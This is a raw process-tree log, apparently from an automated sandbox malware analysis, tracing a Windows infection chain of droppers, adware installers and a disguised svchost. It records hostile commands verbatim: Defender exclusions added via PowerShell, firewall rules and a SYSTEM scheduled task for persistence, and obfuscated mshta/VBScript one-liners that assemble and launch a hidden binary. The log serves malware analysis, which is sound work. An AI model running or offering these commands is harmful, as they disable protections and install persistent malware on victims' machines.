                                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2832 /prefetch:2
                                                                                        8⤵
                                                                                        • Modifies registry class
                                                                                        PID:6268
                                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=1996 /prefetch:8
                                                                                        8⤵
                                                                                          PID:6784
                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                          "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=1800 /prefetch:8
                                                                                          8⤵
                                                                                            PID:8272
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\3AX2JQ3lZXv3VLoelF5woHq8.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\3AX2JQ3lZXv3VLoelF5woHq8.exe"
                                                                                      5⤵
                                                                                        PID:3972
                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-R02GU.tmp\3AX2JQ3lZXv3VLoelF5woHq8.tmp
                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-R02GU.tmp\3AX2JQ3lZXv3VLoelF5woHq8.tmp" /SL5="$1042A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\3AX2JQ3lZXv3VLoelF5woHq8.exe"
                                                                                          6⤵
                                                                                          • Loads dropped DLL
                                                                                          PID:1412
                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-2IMRL.tmp\DYbALA.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-2IMRL.tmp\DYbALA.exe" /S /UID=2709
                                                                                            7⤵
                                                                                            • Drops file in Drivers directory
                                                                                            • Adds Run key to start application
                                                                                            • Drops file in Program Files directory
                                                                                            PID:1616
                                                                                            • C:\Users\Admin\AppData\Local\Temp\2c-783b2-1ed-c38b4-42adcb09ce42c\SHofukaehidae.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\2c-783b2-1ed-c38b4-42adcb09ce42c\SHofukaehidae.exe"
                                                                                              8⤵
                                                                                                PID:5848
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                  9⤵
                                                                                                  • Adds Run key to start application
                                                                                                  • Enumerates system info in registry
                                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                  PID:8540
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0xe0,0x104,0x108,0xbc,0x10c,0x7fffea1146f8,0x7fffea114708,0x7fffea114718
                                                                                                    10⤵
                                                                                                      PID:8700
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2280 /prefetch:2
                                                                                                      10⤵
                                                                                                        PID:5824
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2764 /prefetch:8
                                                                                                        10⤵
                                                                                                          PID:2888
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 /prefetch:3
                                                                                                          10⤵
                                                                                                            PID:5840
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
                                                                                                            10⤵
                                                                                                              PID:7452
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
                                                                                                              10⤵
                                                                                                                PID:7956
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4200 /prefetch:1
                                                                                                                10⤵
                                                                                                                  PID:6488
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:1
                                                                                                                  10⤵
                                                                                                                    PID:7056
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3764 /prefetch:8
                                                                                                                    10⤵
                                                                                                                      PID:8800
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3764 /prefetch:8
                                                                                                                      10⤵
                                                                                                                        PID:3828
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\0a-811aa-7c5-f84a9-2a7e4fa205f58\Bejaepubowy.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\0a-811aa-7c5-f84a9-2a7e4fa205f58\Bejaepubowy.exe"
                                                                                                                    8⤵
                                                                                                                      PID:6928
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yhwe4atx.yhy\GcleanerEU.exe /eufive & exit
                                                                                                                        9⤵
                                                                                                                          PID:6572
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\yhwe4atx.yhy\GcleanerEU.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\yhwe4atx.yhy\GcleanerEU.exe /eufive
                                                                                                                            10⤵
                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                            PID:4540
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 236
                                                                                                                              11⤵
                                                                                                                              • Program crash
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              PID:5052
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                          9⤵
                                                                                                                            PID:6960
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exe /qn CAMPAIGN="654"
                                                                                                                              10⤵
                                                                                                                              • Loads dropped DLL
                                                                                                                              • Enumerates connected drives
                                                                                                                              • Modifies system certificate store
                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                              PID:2056
                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636128743 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                11⤵
                                                                                                                                  PID:5828
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe & exit
                                                                                                                              9⤵
                                                                                                                                PID:3872
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe
                                                                                                                                  10⤵
                                                                                                                                    PID:2592
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe" -u
                                                                                                                                      11⤵
                                                                                                                                        PID:2028
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ipubpsxj.mmq\gcleaner.exe /mixfive & exit
                                                                                                                                    9⤵
                                                                                                                                      PID:7336
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ipubpsxj.mmq\gcleaner.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\ipubpsxj.mmq\gcleaner.exe /mixfive
                                                                                                                                        10⤵
                                                                                                                                          PID:1348
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1348 -s 240
                                                                                                                                            11⤵
                                                                                                                                            • Program crash
                                                                                                                                            • Checks processor information in registry
                                                                                                                                            • Enumerates system info in registry
                                                                                                                                            PID:6540
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3kcbkf2b.psr\autosubplayer.exe /S & exit
                                                                                                                                        9⤵
                                                                                                                                          PID:7016
                                                                                                                                      • C:\Program Files\Common Files\CRBPOKOHHG\foldershare.exe
                                                                                                                                        "C:\Program Files\Common Files\CRBPOKOHHG\foldershare.exe" /VERYSILENT
                                                                                                                                        8⤵
                                                                                                                                          PID:6880
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe"
                                                                                                                                    5⤵
                                                                                                                                      PID:2940
                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe
                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe" -u
                                                                                                                                        6⤵
                                                                                                                                          PID:7856
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\4sJVMRoh2XvFYLOlja0nQegx.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\4sJVMRoh2XvFYLOlja0nQegx.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                    PID:2560
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\8uwyDq4RzIASixTAPZYZJmwI.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\8uwyDq4RzIASixTAPZYZJmwI.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                    PID:2344
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\ystYIyf3LAEozet_mkeMbreD.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\ystYIyf3LAEozet_mkeMbreD.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:2696
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\S3hVyTpSyStATNGo3TrVZ9ki.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\S3hVyTpSyStATNGo3TrVZ9ki.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Drops file in Windows directory
                                                                                                                                    PID:4804
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                      4⤵
                                                                                                                                        PID:6736
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                        4⤵
                                                                                                                                          PID:6564
                                                                                                                                        • C:\Windows\System32\netsh.exe
                                                                                                                                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                          4⤵
                                                                                                                                            PID:4920
                                                                                                                                          • C:\Windows\System32\netsh.exe
                                                                                                                                            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                            4⤵
                                                                                                                                              PID:7048
                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                              schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                              PID:1624
                                                                                                                                            • C:\Windows\System\svchost.exe
                                                                                                                                              "C:\Windows\System\svchost.exe" formal
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              PID:2816
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                5⤵
                                                                                                                                                  PID:6000
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                  5⤵
                                                                                                                                                    PID:5572
                                                                                                                                                  • C:\Windows\System32\netsh.exe
                                                                                                                                                    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                    5⤵
                                                                                                                                                      PID:2164
                                                                                                                                                    • C:\Windows\System32\netsh.exe
                                                                                                                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                      5⤵
                                                                                                                                                        PID:7708
                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\ZDrO50KpNCLpsUulmLanzxOV.exe
                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\ZDrO50KpNCLpsUulmLanzxOV.exe"
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                    PID:4652
                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\boEXMtSc0H_EpwU9srBh1ctk.exe
                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\boEXMtSc0H_EpwU9srBh1ctk.exe"
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:4728
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                                                                                                                      4⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:5396
                                                                                                                                                      • C:\Users\Admin\AppData\Local\2873589.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\2873589.exe"
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:5912
                                                                                                                                                      • C:\Users\Admin\AppData\Local\6404539.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\6404539.exe"
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                        PID:7140
                                                                                                                                                      • C:\Users\Admin\AppData\Local\2758866.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\2758866.exe"
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:2276
                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                          "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\2758866.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\2758866.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                          6⤵
                                                                                                                                                            PID:5244
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\2758866.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\2758866.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                              7⤵
                                                                                                                                                                PID:724
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                                                                                  ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:1052
                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                      9⤵
                                                                                                                                                                        PID:7512
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                          10⤵
                                                                                                                                                                            PID:8076
                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                                                                                                                                                          9⤵
                                                                                                                                                                            PID:6716
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                                                                                                                                              10⤵
                                                                                                                                                                                PID:1772
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                  11⤵
                                                                                                                                                                                    PID:6308
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                                                                                                                                                    11⤵
                                                                                                                                                                                      PID:1564
                                                                                                                                                                                    • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                      control ..\WfNRfms4.K
                                                                                                                                                                                      11⤵
                                                                                                                                                                                        PID:3860
                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                                                          12⤵
                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                          PID:7216
                                                                                                                                                                                          • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                            C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                                                            13⤵
                                                                                                                                                                                              PID:5272
                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
                                                                                                                                                                                                14⤵
                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                PID:5336
                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                    taskkill -f -Im "2758866.exe"
                                                                                                                                                                                    8⤵
                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                    PID:5968
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\2611849.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\2611849.exe"
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:1616
                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:496
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\6161720.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\6161720.exe"
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:4616
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:5884
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 300
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Program crash
                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                      PID:6084
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:4076
                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:2924
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:5632
                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                            taskkill -f -iM "search_hyperfs_206.exe"
                                                                                                                                                                                            7⤵
                                                                                                                                                                                            • Kills process with taskkill
